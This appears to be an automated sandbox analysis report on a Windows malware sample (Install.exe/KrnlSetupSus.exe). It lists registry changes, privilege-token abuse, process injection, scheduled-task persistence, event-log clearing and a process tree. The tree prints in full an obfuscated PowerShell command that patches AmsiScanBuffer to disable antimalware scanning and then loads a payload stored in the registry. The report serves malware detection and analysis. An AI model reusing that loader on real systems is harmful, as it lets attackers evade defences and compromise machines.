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" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live\Default\DIDC svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\02mkroczftbiigde\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 14 Dec 2024 11:59:25 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ijmtmqvqarluek svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft mousocoreworker.exe -
Modifies registry class 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1" sihost.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2596 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1460 powershell.EXE 1460 powershell.EXE 1460 powershell.EXE 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1176 wmiprvse.exe 1176 wmiprvse.exe 1176 wmiprvse.exe 1176 wmiprvse.exe 1316 dllhost.exe 1316 dllhost.exe 1176 wmiprvse.exe 1176 wmiprvse.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 224 powershell.exe 224 powershell.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1316 dllhost.exe 1264 powershell.exe 1264 powershell.exe 1176 wmiprvse.exe 1176 wmiprvse.exe 1176 wmiprvse.exe 1176 wmiprvse.exe 1316 dllhost.exe 1316 dllhost.exe 1176 wmiprvse.exe 1176 wmiprvse.exe 1316 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2240 KrnlSetupSus.exe Token: SeDebugPrivilege 1460 powershell.EXE Token: SeDebugPrivilege 1460 powershell.EXE Token: SeDebugPrivilege 1316 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2300 svchost.exe Token: SeIncreaseQuotaPrivilege 2300 svchost.exe Token: SeSecurityPrivilege 2300 svchost.exe Token: SeTakeOwnershipPrivilege 2300 svchost.exe Token: SeLoadDriverPrivilege 2300 svchost.exe Token: SeSystemtimePrivilege 2300 svchost.exe Token: SeBackupPrivilege 2300 svchost.exe Token: SeRestorePrivilege 2300 svchost.exe Token: SeShutdownPrivilege 2300 svchost.exe Token: SeSystemEnvironmentPrivilege 2300 svchost.exe Token: SeUndockPrivilege 2300 svchost.exe Token: SeManageVolumePrivilege 2300 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2300 svchost.exe Token: SeIncreaseQuotaPrivilege 2300 svchost.exe Token: SeSecurityPrivilege 2300 svchost.exe Token: SeTakeOwnershipPrivilege 2300 svchost.exe Token: SeLoadDriverPrivilege 2300 svchost.exe Token: SeSystemtimePrivilege 2300 svchost.exe Token: SeBackupPrivilege 2300 svchost.exe Token: SeRestorePrivilege 2300 svchost.exe Token: SeShutdownPrivilege 2300 svchost.exe Token: SeSystemEnvironmentPrivilege 2300 svchost.exe Token: SeUndockPrivilege 2300 svchost.exe Token: SeManageVolumePrivilege 2300 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2300 svchost.exe Token: SeIncreaseQuotaPrivilege 2300 svchost.exe Token: SeSecurityPrivilege 2300 svchost.exe Token: SeTakeOwnershipPrivilege 2300 svchost.exe Token: SeLoadDriverPrivilege 2300 svchost.exe Token: SeSystemtimePrivilege 2300 svchost.exe Token: SeBackupPrivilege 2300 svchost.exe Token: SeRestorePrivilege 2300 svchost.exe Token: SeShutdownPrivilege 2300 svchost.exe Token: SeSystemEnvironmentPrivilege 2300 svchost.exe Token: SeUndockPrivilege 2300 svchost.exe Token: SeManageVolumePrivilege 2300 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2300 svchost.exe Token: SeIncreaseQuotaPrivilege 2300 svchost.exe Token: SeSecurityPrivilege 2300 svchost.exe Token: SeTakeOwnershipPrivilege 2300 svchost.exe Token: SeLoadDriverPrivilege 2300 svchost.exe Token: SeSystemtimePrivilege 2300 svchost.exe Token: SeBackupPrivilege 2300 svchost.exe Token: SeRestorePrivilege 2300 svchost.exe Token: SeShutdownPrivilege 2300 svchost.exe Token: SeSystemEnvironmentPrivilege 2300 svchost.exe Token: SeUndockPrivilege 2300 svchost.exe Token: SeManageVolumePrivilege 2300 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2300 svchost.exe Token: SeIncreaseQuotaPrivilege 2300 svchost.exe Token: SeSecurityPrivilege 2300 svchost.exe Token: SeTakeOwnershipPrivilege 2300 svchost.exe Token: SeLoadDriverPrivilege 2300 svchost.exe Token: SeSystemtimePrivilege 2300 svchost.exe Token: SeBackupPrivilege 2300 svchost.exe Token: SeRestorePrivilege 2300 svchost.exe Token: SeShutdownPrivilege 2300 svchost.exe Token: SeSystemEnvironmentPrivilege 2300 svchost.exe Token: SeUndockPrivilege 2300 svchost.exe Token: SeManageVolumePrivilege 2300 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2240 KrnlSetupSus.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3412 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4824 wrote to memory of 3260 4824 Install.exe 84 PID 4824 wrote to memory of 3260 4824 Install.exe 84 PID 4824 wrote to memory of 3260 4824 Install.exe 84 PID 4824 wrote to memory of 2240 4824 Install.exe 85 PID 4824 wrote to memory of 2240 4824 Install.exe 85 PID 1460 wrote to memory of 1316 1460 powershell.EXE 88 PID 1460 wrote to memory of 1316 1460 powershell.EXE 88 PID 1460 wrote to memory of 1316 1460 powershell.EXE 88 PID 1460 wrote to memory of 1316 1460 powershell.EXE 88 PID 1460 wrote to memory of 1316 1460 powershell.EXE 88 PID 1460 wrote to memory of 1316 1460 powershell.EXE 88 PID 1460 wrote to memory of 1316 1460 powershell.EXE 88 PID 1460 wrote to memory of 1316 1460 powershell.EXE 88 PID 1316 wrote to memory of 612 1316 dllhost.exe 5 PID 1316 wrote to memory of 672 1316 dllhost.exe 7 PID 1316 wrote to memory of 952 1316 dllhost.exe 12 PID 1316 wrote to memory of 316 1316 dllhost.exe 13 PID 1316 wrote to memory of 436 1316 dllhost.exe 14 PID 1316 wrote to memory of 736 1316 dllhost.exe 15 PID 1316 wrote to memory of 948 1316 dllhost.exe 16 PID 1316 wrote to memory of 528 1316 dllhost.exe 17 PID 1316 wrote to memory of 1116 1316 dllhost.exe 19 PID 1316 wrote to memory of 1192 1316 dllhost.exe 20 PID 1316 wrote to memory of 1240 1316 dllhost.exe 21 PID 1316 wrote to memory of 1308 1316 dllhost.exe 22 PID 1316 wrote to memory of 1364 1316 dllhost.exe 23 PID 1316 wrote to memory of 1388 1316 dllhost.exe 24 PID 1316 wrote to memory of 1420 1316 dllhost.exe 25 PID 1316 wrote to memory of 1448 1316 dllhost.exe 26 PID 1316 wrote to memory of 1564 1316 dllhost.exe 27 PID 1316 wrote to memory of 1600 1316 dllhost.exe 28 PID 1316 wrote to memory of 1656 1316 dllhost.exe 29 PID 1316 wrote to memory of 1708 1316 dllhost.exe 30 PID 1316 wrote to memory of 1764 1316 dllhost.exe 31 PID 1316 wrote to memory of 1772 1316 dllhost.exe 32 PID 1316 wrote to memory of 1860 1316 dllhost.exe 33 PID 1316 wrote to memory of 1872 1316 dllhost.exe 34 PID 1316 wrote to memory of 1924 1316 dllhost.exe 35 PID 1316 wrote to memory of 1940 1316 dllhost.exe 36 PID 1316 wrote to memory of 2044 1316 dllhost.exe 37 PID 1316 wrote to memory of 2052 1316 dllhost.exe 39 PID 1316 wrote to memory of 2220 1316 dllhost.exe 40 PID 1316 wrote to memory of 2300 1316 dllhost.exe 41 PID 1316 wrote to memory of 2360 1316 dllhost.exe 42 PID 1316 wrote to memory of 2368 1316 dllhost.exe 43 PID 1316 wrote to memory of 2544 1316 dllhost.exe 44 PID 1316 wrote to memory of 2552 1316 dllhost.exe 45 PID 1316 wrote to memory of 2632 1316 dllhost.exe 46 PID 1316 wrote to memory of 2672 1316 dllhost.exe 47 PID 1316 wrote to memory of 2680 1316 dllhost.exe 48 PID 1316 wrote to memory of 2940 1316 dllhost.exe 49 PID 1316 wrote to memory of 2952 1316 dllhost.exe 50 PID 1316 wrote to memory of 2960 1316 dllhost.exe 51 PID 1316 wrote to memory of 2108 1316 dllhost.exe 52 PID 1316 wrote to memory of 1972 1316 dllhost.exe 53 PID 1316 wrote to memory of 3324 1316 dllhost.exe 55 PID 1316 wrote to memory of 3412 1316 dllhost.exe 56 PID 1316 wrote to memory of 3544 1316 dllhost.exe 57 PID 1316 wrote to memory of 3724 1316 dllhost.exe 58 PID 1316 wrote to memory of 3888 1316 dllhost.exe 60 PID 1316 wrote to memory of 3488 1316 dllhost.exe 62 PID 1316 wrote to memory of 4284 1316 dllhost.exe 65 PID 1316 wrote to memory of 4212 1316 dllhost.exe 66 PID 1316 wrote to memory of 532 1316 dllhost.exe 68 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:316
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{16f93da0-7c81-4aca-b719-0e40f312c67e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1316
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Drops file in System32 directory
PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:436
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:948
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1116 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2108
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:sKzpcWqEiWPT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$eTvtXNMyDctKxj,[Parameter(Position=1)][Type]$lRRxzPwUHw)$hadGweXAfCE=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+'l'+[Char](101)+''+'c'+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+'e'+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'Ty'+[Char](112)+''+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+'ss,'+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+'a'+'l'+''+[Char](101)+'d'+','+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+'a'+'s'+'s'+','+'A'+'u'+'t'+''+'o'+''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$hadGweXAfCE.DefineConstructor(''+[Char](82)+''+[Char](84)+'Sp'+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+','+'Hi'+'d'+''+'e'+''+'B'+''+'y'+''+[Char](83)+''+'i'+'g'+','+''+[Char](80)+'u'+[Char](98)+''+'l'+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$eTvtXNMyDctKxj).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'me'+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+'g'+'e'+'d');$hadGweXAfCE.DefineMethod('In'+[Char](118)+''+'o'+''+[Char](107)+''+'e'+'',''+'P'+'ub'+'l'+''+[Char](105)+'c'+','+''+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+'y'+[Char](83)+''+'i'+'g'+[Char](44)+''+'N'+'e'+'w'+''+'S'+''+'l'+''+[Char](111)+''+[Char](116)+','+[Char](86)+'i'+[Char](114)+''+[Char](116)+'ual',$lRRxzPwUHw,$eTvtXNMyDctKxj).SetImplementationFlags('Runti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+'d');Write-Output $hadGweXAfCE.CreateType();}$kXwmSJLEyORnv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'t'+[Char](101)+''+'m'+''+[Char](46)+''+'d'+''+'l'+'l')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+'a'+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+'t'+'h'+'o'+''+[Char](100)+''+[Char](115)+'');$kJVOhdapmfgqFz=$kXwmSJLEyORnv.GetMethod(''+[Char](71)+'etPro'+'c'+''+[Char](65)+'d'+'d'+'r'+[Char](101)+'s'+'s'+'',[Reflection.BindingFlags]('P'+'u'+'b'+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bNHBqGLgBRZTBoLQmzA=sKzpcWqEiWPT @([String])([IntPtr]);$klRhwkubnkCuGnQnaMkhIO=sKzpcWqEiWPT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$eFpjGSUpwTn=$kXwmSJLEyORnv.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+'odu'+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'n'+'d'+'le').Invoke($Null,@([Object](''+'k'+''+'e'+'r'+[Char](110)+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+[Char](46)+''+'d'+''+'l'+''+'l'+'')));$QxSLlbYQEFIrIa=$kJVOhdapmfgqFz.Invoke($Null,@([Object]$eFpjGSUpwTn,[Object]('L'+[Char](111)+''+[Char](97)+'dL'+[Char](105)+''+'b'+''+[Char](114)+''+'a'+'r'+'y'+''+[Char](65)+'')));$wtSghmOWSCpAiVpAs=$kJVOhdapmfgqFz.Invoke($Null,@([Object]$eFpjGSUpwTn,[Object]('V'+'i'+''+'r'+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+'t'+'')));$vDVjXQj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QxSLlbYQEFIrIa,$bNHBqGLgBRZTBoLQmzA).Invoke(''+[Char](97)+'ms'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$FiGdBjuJTcGJNKdko=$kJVOhdapmfgqFz.Invoke($Null,@([Object]$vDVjXQj,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'an'+'B'+''+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$CMPhqddnMe=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wtSghmOWSCpAiVpAs,$klRhwkubnkCuGnQnaMkhIO).Invoke($FiGdBjuJTcGJNKdko,[uint32]8,4,[ref]$CMPhqddnMe);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$FiGdBjuJTcGJNKdko,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wtSghmOWSCpAiVpAs,$klRhwkubnkCuGnQnaMkhIO).Invoke($FiGdBjuJTcGJNKdko,[uint32]8,0x20,[ref]$CMPhqddnMe);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1460
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C:\ProgramData\ntoskrnl.exeC:\ProgramData\ntoskrnl.exe2⤵
- Executes dropped EXE
PID:3068
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1192
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1308
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1364
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C:\Windows\system32\sihost.exesihost.exe2⤵
- Modifies registry class
PID:2952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1420
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1600
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1656
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1772
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1860
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1872
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1924
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1940
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2044
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2052
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2360
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2544
